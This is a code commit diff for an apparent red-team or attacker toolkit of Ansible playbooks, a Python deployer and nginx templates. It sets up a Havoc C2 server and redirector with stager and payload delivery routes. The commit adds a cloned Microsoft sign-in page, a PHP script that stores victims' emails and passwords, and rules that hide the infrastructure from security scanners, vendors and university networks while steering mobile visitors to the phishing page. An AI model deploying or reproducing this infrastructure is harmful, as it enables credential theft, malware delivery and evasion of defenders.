Updating security

AWS/c2.yml

@@ -166,21 +166,29 @@
         c2_vpc_id: "{{ vpc_result.vpc.id }}"  # Store for cleanup reference
       when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false))
 
-    # Create security group
+    - name: Create security group for C2 server
-    - name: Create security group
       amazon.aws.ec2_security_group:
         name: "{{ c2_name }}-sg"
-        description: "Security group for C2 {{ c2_name }}"
+        description: "Secured C2 server {{ c2_name }}"
         vpc_id: "{{ vpc_id }}"
         region: "{{ aws_c2_region }}"
         rules:
+          # Management access only from operator IP
+          - proto: tcp
+            ports: 22
+            cidr_ip: "{{ operator_ip }}/32"
+          - proto: tcp
+            ports: "{{ havoc_teamserver_port | default(40056) }}"
+            cidr_ip: "{{ operator_ip }}/32"
+          # Allow traffic only from redirector
           - proto: tcp
             ports:
-              - 22
+              - 80
-              - "{{ havoc_teamserver_port | default(40056) }}"
+              - 443
               - "{{ havoc_http_port | default(8080) }}"
+              - "{{ havoc_https_port | default(443) }}"
               - "{{ gophish_admin_port }}"
-            cidr_ip: 0.0.0.0/0
+            cidr_ip: "{{ redirector_ip }}/32"
         rules_egress:
           - proto: -1
             cidr_ip: 0.0.0.0/0

AWS/redirector.yml

@@ -170,17 +170,20 @@
         redirector_vpc_id: "{{ vpc_result.vpc.id }}"  # Store for cleanup reference
       when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false))
 
-    # Create security group
+    - name: Create security group for redirector
-    - name: Create security group
       amazon.aws.ec2_security_group:
         name: "{{ redirector_name }}-sg"
         description: "Security group for redirector {{ redirector_name }}"
         vpc_id: "{{ vpc_id }}"
         region: "{{ aws_redirector_region }}"
         rules:
+          # Management access only from operator IP
+          - proto: tcp
+            ports: 22
+            cidr_ip: "{{ operator_ip }}/32"
+          # Public-facing services are open to internet
           - proto: tcp
             ports:
-              - 22
               - 80
               - 443
               - "{{ effective_listen_port }}"

deploy.py

@@ -313,6 +313,19 @@ def gather_common_parameters():
             return None
         config.update(flokinet_ips)
 
+    try:
+        import requests
+        suggested_ip = requests.get('https://api.ipify.org').text.strip()
+        operator_ip = input(f"\nEnter your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
+        # Validate IP format
+        if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', operator_ip):
+            print(f"{COLORS['RED']}Invalid IP format. Using 0.0.0.0/0 (not recommended){COLORS['RESET']}")
+            operator_ip = "0.0.0.0/0"
+        config['operator_ip'] = operator_ip
+    except:
+        operator_ip = input(f"\nEnter your public IP for secure access (x.x.x.x): ")
+        config['operator_ip'] = operator_ip
+    
     # Ask if user wants multi-region or cross-provider deployment
     multi_region = input(f"\n{COLORS['YELLOW']}Do you want to deploy redirector and C2 in different regions? (y/n) [default: n]: {COLORS['RESET']}").lower() == 'y'
     

tasks/configure_c2.yml

@@ -290,6 +290,9 @@
     c2_ip: "{{ ansible_host }}"
     redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
 
+- name: Include traffic flow configuration
+  include_tasks: "../tasks/traffic_flow_config.yml"
+
 - name: Set up cron job for log cleaning if zero-logs enabled
   cron:
     name: "Clean logs"

tasks/configure_redirector.yml

@@ -129,6 +129,9 @@
     owner: www-data
     group: www-data
 
+- name: Include traffic flow configuration
+  include_tasks: "../tasks/traffic_flow_config.yml"
+
 # Run port randomization if enabled
 - name: Run port randomization if enabled
   include_tasks: port_randomization.yml
@@ -167,6 +170,45 @@
     owner: root
     group: root
 
+- name: Create credential harvesting directory
+  file:
+    path: /var/www/login
+    state: directory
+    mode: '0755'
+    owner: www-data
+    group: www-data
+
+# Create secure storage outside web root
+- name: Create secure credential storage
+  file:
+    path: /var/private/creds
+    state: directory
+    mode: '0700'  # Only owner access
+    owner: www-data
+    group: www-data
+
+- name: Deploy credential harvesting page
+  template:
+    src: "../templates/fake-login.html.j2"
+    dest: "/var/www/login/auth.html"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+
+- name: Deploy credential capture script
+  template:
+    src: "../templates/capture.php.j2"
+    dest: "/var/www/login/process.php"
+    mode: '0644'
+    owner: www-data
+    group: www-data
+
+- name: Install PHP for credential processing
+  apt:
+    name: php-fpm
+    state: present
+    update_cache: yes    
+
 - name: Start and enable shell handler service
   systemd:
     name: shell-handler

tasks/security_hardening.yml

@@ -32,19 +32,67 @@
     direction: incoming
   ignore_errors: yes
 
-- name: Allow required ports through firewall
+- name: Configure UFW for C2 server
+  block:
+    - name: Reset UFW to default deny
+      ufw:
+        state: enabled
+        policy: deny
+        direction: incoming
+
+    - name: Allow SSH only from operator IP
+      ufw:
+        rule: allow
+        port: "22"
+        src: "{{ operator_ip }}"
+        proto: tcp
+
+    - name: Allow Havoc Teamserver only from operator IP
+      ufw:
+        rule: allow
+        port: "{{ havoc_teamserver_port | default('40056') }}"
+        src: "{{ operator_ip }}"
+        proto: tcp
+
+    - name: Allow traffic only from redirector
+      ufw:
+        rule: allow
+        port: "{{ item }}"
+        src: "{{ redirector_ip }}"
+        proto: tcp
+      loop:
+        - "80"
+        - "443"
+        - "{{ havoc_http_port | default('8080') }}"
+        - "{{ havoc_https_port | default('443') }}" 
+        - "{{ gophish_admin_port }}"
+  when: "'c2servers' in group_names"
+
+- name: Configure UFW for redirector
+  block:
+    - name: Reset UFW to default deny
+      ufw:
+        state: enabled
+        policy: deny
+        direction: incoming
+
+    - name: Allow SSH only from operator IP
+      ufw:
+        rule: allow
+        port: "22"
+        src: "{{ operator_ip }}"
+        proto: tcp
+
+    - name: Allow public services from anywhere
       ufw:
         rule: allow
         port: "{{ item }}"
         proto: tcp
       loop:
-    - "22"
         - "80"
         - "443"
-    - "{{ havoc_teamserver_port | default('40056') }}"
+        - "{{ shell_handler_port | default('4444') }}"
-    - "{{ havoc_http_port | default('8080') }}"
+  when: "'redirectors' in group_names"
-    - "{{ gophish_admin_port | default('3333') }}"
-  ignore_errors: yes
 
 - name: Set up fail2ban SSH jail
   copy:

tasks/traffic_flow_config.yml

@@ -0,0 +1,94 @@
+---
+# Common task for configuring proper traffic flow between infrastructure components
+
+- name: Determine server role in infrastructure
+  set_fact:
+    server_role: >-
+      {% if inventory_hostname in groups['c2servers'] | default([]) %}c2{% 
+      elif inventory_hostname in groups['redirectors'] | default([]) %}redirector{% 
+      elif inventory_hostname in groups['logservers'] | default([]) %}logserver{% 
+      elif inventory_hostname in groups['payloadservers'] | default([]) %}payloadserver{% 
+      elif inventory_hostname in groups['phishingservers'] | default([]) %}phishingserver{% 
+      elif inventory_hostname in groups['sharedrives'] | default([]) %}sharedrive{% 
+      else %}unknown{% endif %}
+
+- name: Configure C2 server routing
+  block:
+    - name: Allow SSH only from operator IP
+      ufw:
+        rule: allow
+        port: 22
+        src: "{{ operator_ip }}"
+        proto: tcp
+    
+    - name: Allow teamserver access only from operator IP
+      ufw:
+        rule: allow
+        port: "{{ havoc_teamserver_port | default('40056') }}"
+        src: "{{ operator_ip }}"
+        proto: tcp
+    
+    - name: Configure required flows for each connected component
+      ufw:
+        rule: allow
+        port: "{{ item.port }}"
+        src: "{{ item.ip }}"
+        proto: tcp
+      loop:
+        - { ip: "{{ redirector_ip }}", port: "80" }
+        - { ip: "{{ redirector_ip }}", port: "443" }
+        - { ip: "{{ redirector_ip }}", port: "{{ havoc_http_port | default('8080') }}" }
+        - { ip: "{{ redirector_ip }}", port: "{{ havoc_https_port | default('443') }}" }
+        - { ip: "{{ logserver_ip | default(omit) }}", port: "5144" }  # Logstash port
+        - { ip: "{{ payloadserver_ip | default(omit) }}", port: "8888" }  # Payload sync port
+      when: item.ip != omit
+      
+  when: server_role == 'c2'
+
+- name: Configure redirector routing
+  block:
+    - name: Allow SSH only from operator IP
+      ufw:
+        rule: allow
+        port: 22
+        src: "{{ operator_ip }}"
+        proto: tcp
+        
+    - name: Allow public web access
+      ufw:
+        rule: allow
+        port: "{{ item }}"
+        proto: tcp
+      loop:
+        - 80
+        - 443
+        
+    - name: Allow shell handler access
+      ufw:
+        rule: allow
+        port: "{{ shell_handler_port | default('4444') }}"
+        proto: tcp
+  when: server_role == 'redirector'
+
+- name: Configure logging server routing
+  block:
+    - name: Allow SSH only from operator IP
+      ufw:
+        rule: allow
+        port: 22
+        src: "{{ operator_ip }}"
+        proto: tcp
+        
+    - name: Allow log ingestion from infrastructure
+      ufw:
+        rule: allow
+        port: 5144  # Logstash port
+        src: "{{ item }}"
+        proto: tcp
+      loop:
+        - "{{ c2_ip }}"
+        - "{{ redirector_ip }}"
+        - "{{ payloadserver_ip | default(omit) }}"
+        - "{{ phishingserver_ip | default(omit) }}"
+      when: item != omit
+  when: server_role == 'logserver'

templates/capture.php.j2

@@ -0,0 +1,27 @@
+<?php
+if ($_SERVER['REQUEST_METHOD'] === 'POST') {
+    $data = [
+        'timestamp' => date('Y-m-d H:i:s'),
+        'ip' => $_SERVER['REMOTE_ADDR'],
+        'user_agent' => $_SERVER['HTTP_USER_AGENT'],
+        'email' => $_POST['email'] ?? '',
+        'password' => $_POST['password'] ?? '',
+        'headers' => getallheaders()
+    ];
+    
+
+    $log_file = '/var/private/creds/creds.enc';
+    $encrypted = openssl_encrypt(
+        json_encode($data),
+        'AES-256-CBC',
+        '{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}',
+        0,
+        str_repeat("\0", 16)
+    );
+    file_put_contents($log_file, $encrypted . "\n", FILE_APPEND);
+    
+
+    header('Location: https://login.microsoftonline.com/common/oauth2/);
+    exit;
+}
+?>

templates/fake-login.html.j2

@@ -0,0 +1,106 @@
+<!DOCTYPE html>
+<html>
+<head>
+    <title>Sign in to your account</title>
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <style>
+        body {
+            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
+            background: linear-gradient(135deg, #f0f0f0, #e0e0e0);
+            margin: 0;
+            padding: 0;
+            height: 100vh;
+            display: flex;
+            justify-content: center;
+            align-items: center;
+        }
+        .login-container {
+            background: white;
+            width: 380px;
+            padding: 30px 40px;
+            box-shadow: 0 2px 6px rgba(0,0,0,0.1);
+        }
+        .logo {
+            text-align: left;
+            margin-bottom: 20px;
+        }
+        h1 {
+            font-size: 24px;
+            font-weight: 600;
+            margin: 20px 0 15px;
+        }
+        input[type="text"], input[type="password"] {
+            width: 100%;
+            padding: 8px 0;
+            margin-bottom: 15px;
+            border: none;
+            border-bottom: 1px solid #ccc;
+            font-size: 15px;
+            outline: none;
+        }
+        input:focus {
+            border-bottom: 1px solid #0067b8;
+        }
+        .button-container {
+            text-align: right;
+            margin-top: 20px;
+        }
+        button {
+            background-color: #0067b8;
+            color: white;
+            border: none;
+            padding: 8px 24px;
+            font-size: 14px;
+            cursor: pointer;
+        }
+        .links {
+            margin-top: 20px;
+            font-size: 13px;
+        }
+        .links a {
+            color: #0067b8;
+            text-decoration: none;
+        }
+        .footer {
+            position: fixed;
+            bottom: 0;
+            width: 100%;
+            display: flex;
+            justify-content: space-between;
+            padding: 10px 20px;
+            font-size: 12px;
+            color: #666;
+        }
+        .footer a {
+            color: #666;
+            text-decoration: none;
+            margin-left: 20px;
+        }
+    </style>
+</head>
+<body>
+    <div class="login-container">
+        <div class="logo">
+            <img src="https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31" alt="Microsoft" width="108">
+        </div>
+        <h1>Sign in</h1>
+        <form action="process.php" method="post">
+            <input type="text" name="email" placeholder="Email, phone, or Skype" required>
+            <input type="password" name="password" placeholder="Password" required>
+            <div class="links">
+                <a href="https://signup.live.com/signup">No account? Create one!</a><br>
+                <a href="https://account.live.com/password/reset">Can't access your account?</a>
+            </div>
+            <div class="button-container">
+                <button type="submit">Next</button>
+            </div>
+        </form>
+    </div>
+    <div class="footer">
+        <div class="terms">
+            <a href="https://www.microsoft.com/en-us/servicesagreement/default.aspx">Terms of use</a>
+            <a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
+        </div>
+    </div>
+</body>
+</html>

templates/redirector-site-with-tracker.conf.j2

@@ -1,3 +1,26 @@
+# Advanced Redirector Configuration with IR Evasion
+# templates/redirector-site.conf.j2
+
+# Detect security tools by user agent
+map $http_user_agent $is_security_tool {
+    default 0;
+    # Common security tools, scanners, and IR user agents
+    ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
+}
+
+map $http_user_agent $is_mobile {
+    default 0;
+    ~*(android|iphone|ipad|mobile|phone|ios|ipod) 1;
+}
+
+map $remote_addr $is_known_security_ip {
+    default 0;
+    # Example security vendor IP ranges - replace with actual ones
+    "192.168.1.0/24" 1;  # Example placeholder
+    "10.0.0.0/8" 1;      # Example placeholder
+}
+
+# HTTP to HTTPS redirect
 server {
     listen 80;
     listen [::]:80;
@@ -7,6 +30,7 @@ server {
     return 301 https://$host$request_uri;
 }
 
+# Main HTTPS server
 server {
     listen 443 ssl;
     listen [::]:443 ssl;
@@ -25,22 +49,46 @@ server {
     root /var/www/html;
     index index.html;
     
-    # Primary location for legitimate website traffic
+    # Advanced IR Evasion
-    location / {
+    # 1. Redirect security tools to benign sites
-        try_files $uri $uri/ =404;
+    if ($is_security_tool) {
+        return 302 https://www.google.com;
     }
     
-    # Only expose beacon callback paths - NOT dashboard or admin functions
+    # 2. Redirect known security IPs
+    if ($is_known_security_ip) {
+        return 302 https://www.microsoft.com;
+    }
+    
+    # 3. Direct mobile users to credential capture
+    if ($is_mobile) {
+        return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html;
+    }
+    
+    # 4. Add timing delay for suspicious connections
+    if ($http_referer ~* (security|scan)) {
+        set $delay_response 1;
+    }
+    
+    # Valid C2 beacon routing - CRITICAL PATHS
     location ~ ^/api/beacon/ {
+        # Only valid beacons proceed to C2
         proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
         proxy_http_version 1.1;
         proxy_set_header Host $host;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
         proxy_set_header X-Real-IP $remote_addr;
+        proxy_ssl_verify off;
+        
+        # Implement artificial delay for suspicious connections
+        if ($delay_response) {
+            limit_rate 1k;  # Slow down response
+        }
     }
     
     # Secure stager delivery routes
     location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
+        # Only valid requests that passed the earlier checks
         proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
         proxy_http_version 1.1;
         proxy_set_header Host $host;
@@ -50,6 +98,7 @@ server {
     
     # Content access for payload delivery
     location ~ ^/content/(windows|linux)/(.+)$ {
+        # Specific valid content paths
         proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
         proxy_http_version 1.1;
         proxy_set_header Host $host;
@@ -57,6 +106,18 @@ server {
         proxy_set_header X-Real-IP $remote_addr;
     }
 
+    # Redirect specific payload formats based on client OS
+    location ~ ^/download/payload$ {
+        if ($http_user_agent ~* windows) {
+            return 302 /content/windows/$win_exe;
+        }
+        if ($http_user_agent ~* linux) {
+            return 302 /content/linux/$linux_bin;
+        }
+        # Default fallback for unknown OS
+        return 302 /;
+    }
+
     # Secure payload delivery path for synced payloads
     location /resources/ {
         alias /var/www/resources/;
@@ -69,6 +130,29 @@ server {
         access_log off;
     }
     
+    # Credential harvesting login page
+    location ~ ^/login/auth\.html$ {
+        root /var/www;
+        try_files $uri =404;
+        add_header X-Frame-Options "DENY" always;
+    }
+    
+    # Protect credential processing script
+    location ~ ^/login/process\.php$ {
+        # Allow POST only
+        limit_except POST { deny all; }
+        
+        # Process the PHP file
+        include snippets/fastcgi-php.conf;
+        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+    }
+
+    # Block direct access to sensitive files
+    location ~ \.(enc|key|pem|log)$ {
+        deny all;
+        return 404;
+    }
+    
     {% if setup_integrated_tracker | default(false) | bool %}
     # Email tracker pixel only (not exposing dashboard)
     location ~ ^/px/(.+)\.png$ {
@@ -85,6 +169,19 @@ server {
     }
     {% endif %}
     
+    # Primary location for legitimate website traffic
+    # This acts as a catch-all for non-matching URIs
+    location / {
+        # Check if this is potentially an attempt to access a non-existent payload
+        if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
+            # If invalid payload URI, redirect to real target
+            return 302 https://www.{{ domain }};
+        }
+        
+        # Otherwise serve legitimate content
+        try_files $uri $uri/ =404;
+    }
+
     # Security headers
     add_header X-Content-Type-Options "nosniff" always;
     add_header X-Frame-Options "SAMEORIGIN" always;
@@ -92,6 +189,9 @@ server {
     add_header Referrer-Policy "no-referrer" always;
     add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
     
+    # Make server appear as IIS
+    add_header Server "Microsoft-IIS/10.0";
+    
     # Disable logging
     {% if zero_logs | default(true) | bool %}
     access_log off;
@@ -109,6 +209,7 @@ server {
     ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
     ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
     
+    # Redirect unknown hosts to legitimate sites
     return 301 https://www.google.com;
     
     access_log off;

templates/redirector-site.conf.j2

@@ -1,3 +1,116 @@
+# Advanced Redirector Configuration with IR Evasion
+# templates/redirector-site.conf.j2
+
+# Detect security tools by user agent
+map $http_user_agent $is_security_tool {
+    default 0;
+    # Common security tools, scanners, and IR user agents
+    ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
+}
+
+map $http_user_agent $is_mobile {
+    default 0;
+    ~*(android|iphone|ipad|mobile|phone|ios|ipod) 1;
+}
+
+map $remote_addr $is_known_security_ip {
+    default 0;
+    
+    # VirusTotal
+    "64.71.0.0/16" 1;
+    "74.125.0.0/16" 1;      # Google Cloud (VirusTotal)
+    "216.239.32.0/19" 1;    # Google
+    
+    # Recorded Future
+    "104.196.0.0/14" 1;     # Google Cloud
+    "35.184.0.0/13" 1;      # Google Cloud
+    
+    # Censys
+    "198.108.66.0/23" 1;
+    "162.142.125.0/24" 1;
+    "167.248.133.0/24" 1;
+    
+    # Shodan
+    "66.240.192.0/18" 1;
+    "71.6.135.0/24" 1;
+    "71.6.167.0/24" 1;
+    "82.221.105.6/32" 1;
+    "82.221.105.7/32" 1;
+    "93.120.27.0/24" 1;
+    
+    # Symantec/Broadcom
+    "205.128.0.0/14" 1;
+    "65.165.0.0/16" 1;
+    
+    # McAfee/Trellix
+    "161.69.0.0/16" 1;
+    "192.225.158.0/24" 1;
+    
+    # CrowdStrike
+    "45.60.0.0/16" 1;
+    "199.66.200.0/24" 1;
+    
+    # SentinelOne
+    "104.36.227.0/24" 1;
+    "104.196.0.0/14" 1;
+    
+    # Microsoft Defender
+    "13.64.0.0/11" 1;      # Azure (Microsoft Defender)
+    "13.104.0.0/14" 1;     # Microsoft
+    "40.74.0.0/15" 1;      # Microsoft
+    "51.4.0.0/15" 1;       # Microsoft
+    "104.40.0.0/13" 1;     # Microsoft
+    "104.208.0.0/13" 1;    # Azure
+    
+    # Palo Alto
+    "96.88.0.0/16" 1;
+    "173.247.96.0/19" 1;
+    "216.115.73.0/24" 1;
+    
+    # Qualys
+    "64.39.96.0/20" 1;
+    "64.41.200.0/24" 1;
+    "92.118.160.0/24" 1;
+    
+    # Rapid7
+    "5.63.0.0/16" 1;
+    "38.107.201.0/24" 1;
+    "45.60.0.0/16" 1;
+    "71.6.0.0/16" 1;
+    "206.225.0.0/16" 1;
+    
+    # Tenable/Nessus
+    "23.20.0.0/14" 1;      # AWS (Tenable Cloud)
+    "34.192.0.0/12" 1;     # AWS
+    "54.144.0.0/12" 1;     # AWS
+    "162.219.56.0/21" 1;
+    "172.104.0.0/16" 1;    # Linode (common Nessus hosting)
+    
+    # FireEye/Mandiant
+    "23.98.64.0/18" 1;
+    "66.114.168.0/22" 1;
+    "96.43.144.0/20" 1;
+    "173.231.184.0/22" 1;
+    
+    # Akamai
+    "23.0.0.0/12" 1;
+    "23.32.0.0/11" 1;
+    "104.64.0.0/10" 1;
+    
+    # Cloudflare
+    "104.16.0.0/12" 1;
+    "173.245.48.0/20" 1;
+    
+    # Academic Research Networks
+    "128.32.0.0/16" 1;     # UC Berkeley
+    "128.59.0.0/16" 1;     # Columbia University
+    "128.112.0.0/16" 1;    # Princeton University
+    "128.138.0.0/16" 1;    # University of Colorado
+    "128.197.0.0/16" 1;    # Boston University
+    "146.186.0.0/16" 1;    # Carnegie Mellon
+}
+
+# HTTP to HTTPS redirect
 server {
     listen 80;
     listen [::]:80;
@@ -7,6 +120,7 @@ server {
     return 301 https://$host$request_uri;
 }
 
+# Main HTTPS server
 server {
     listen 443 ssl;
     listen [::]:443 ssl;
@@ -25,22 +139,46 @@ server {
     root /var/www/html;
     index index.html;
     
-    # Primary location for legitimate website traffic
+    # Advanced IR Evasion
-    location / {
+    # 1. Redirect security tools to benign sites
-        try_files $uri $uri/ =404;
+    if ($is_security_tool) {
+        return 302 https://www.google.com;
     }
     
-    # Only expose beacon callback paths - NOT dashboard or admin functions
+    # 2. Redirect known security IPs
+    if ($is_known_security_ip) {
+        return 302 https://www.microsoft.com;
+    }
+    
+    # 3. Direct mobile users to credential capture
+    if ($is_mobile) {
+        return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html;
+    }
+    
+    # 4. Add timing delay for suspicious connections
+    if ($http_referer ~* (security|scan)) {
+        set $delay_response 1;
+    }
+    
+    # Valid C2 beacon routing - CRITICAL PATHS
     location ~ ^/api/beacon/ {
+        # Only valid beacons proceed to C2
         proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
         proxy_http_version 1.1;
         proxy_set_header Host $host;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
         proxy_set_header X-Real-IP $remote_addr;
+        proxy_ssl_verify off;
+        
+        # Implement artificial delay for suspicious connections
+        if ($delay_response) {
+            limit_rate 1k;  # Slow down response
+        }
     }
     
     # Secure stager delivery routes
     location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
+        # Only valid requests that passed the earlier checks
         proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
         proxy_http_version 1.1;
         proxy_set_header Host $host;
@@ -50,6 +188,7 @@ server {
     
     # Content access for payload delivery
     location ~ ^/content/(windows|linux)/(.+)$ {
+        # Specific valid content paths
         proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
         proxy_http_version 1.1;
         proxy_set_header Host $host;
@@ -57,6 +196,18 @@ server {
         proxy_set_header X-Real-IP $remote_addr;
     }
 
+    # Redirect specific payload formats based on client OS
+    location ~ ^/download/payload$ {
+        if ($http_user_agent ~* windows) {
+            return 302 /content/windows/$win_exe;
+        }
+        if ($http_user_agent ~* linux) {
+            return 302 /content/linux/$linux_bin;
+        }
+        # Default fallback for unknown OS
+        return 302 /;
+    }
+
     # Secure payload delivery path for synced payloads
     location /resources/ {
         alias /var/www/resources/;
@@ -69,6 +220,58 @@ server {
         access_log off;
     }
     
+    # Credential harvesting login page
+    location ~ ^/login/auth\.html$ {
+        root /var/www;
+        try_files $uri =404;
+        add_header X-Frame-Options "DENY" always;
+    }
+    
+    # Protect credential processing script
+    location ~ ^/login/process\.php$ {
+        # Allow POST only
+        limit_except POST { deny all; }
+        
+        # Process the PHP file
+        include snippets/fastcgi-php.conf;
+        fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
+    }
+
+    # Block direct access to sensitive files
+    location ~ \.(enc|key|pem|log)$ {
+        deny all;
+        return 404;
+    }
+    
+    {% if setup_integrated_tracker | default(false) | bool %}
+    # Email tracker pixel only (not exposing dashboard)
+    location ~ ^/px/(.+)\.png$ {
+        proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
+        proxy_http_version 1.1;
+        proxy_set_header Host {{ tracker_domain }};
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_set_header X-Real-IP $remote_addr;
+        proxy_set_header X-Forwarded-Proto https;
+        
+        # Cache control for tracking pixels
+        add_header Cache-Control "no-store, no-cache, must-revalidate" always;
+        expires -1;
+    }
+    {% endif %}
+    
+    # Primary location for legitimate website traffic
+    # This acts as a catch-all for non-matching URIs
+    location / {
+        # Check if this is potentially an attempt to access a non-existent payload
+        if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
+            # If invalid payload URI, redirect to real target
+            return 302 https://www.{{ domain }};
+        }
+        
+        # Otherwise serve legitimate content
+        try_files $uri $uri/ =404;
+    }
+
     # Security headers
     add_header X-Content-Type-Options "nosniff" always;
     add_header X-Frame-Options "SAMEORIGIN" always;
@@ -76,6 +279,9 @@ server {
     add_header Referrer-Policy "no-referrer" always;
     add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
     
+    # Make server appear as IIS
+    add_header Server "Microsoft-IIS/10.0";
+    
     # Disable logging
     {% if zero_logs | default(true) | bool %}
     access_log off;
@@ -93,6 +299,7 @@ server {
     ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
     ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
     
+    # Redirect unknown hosts to legitimate sites
     return 301 https://www.google.com;
     
     access_log off;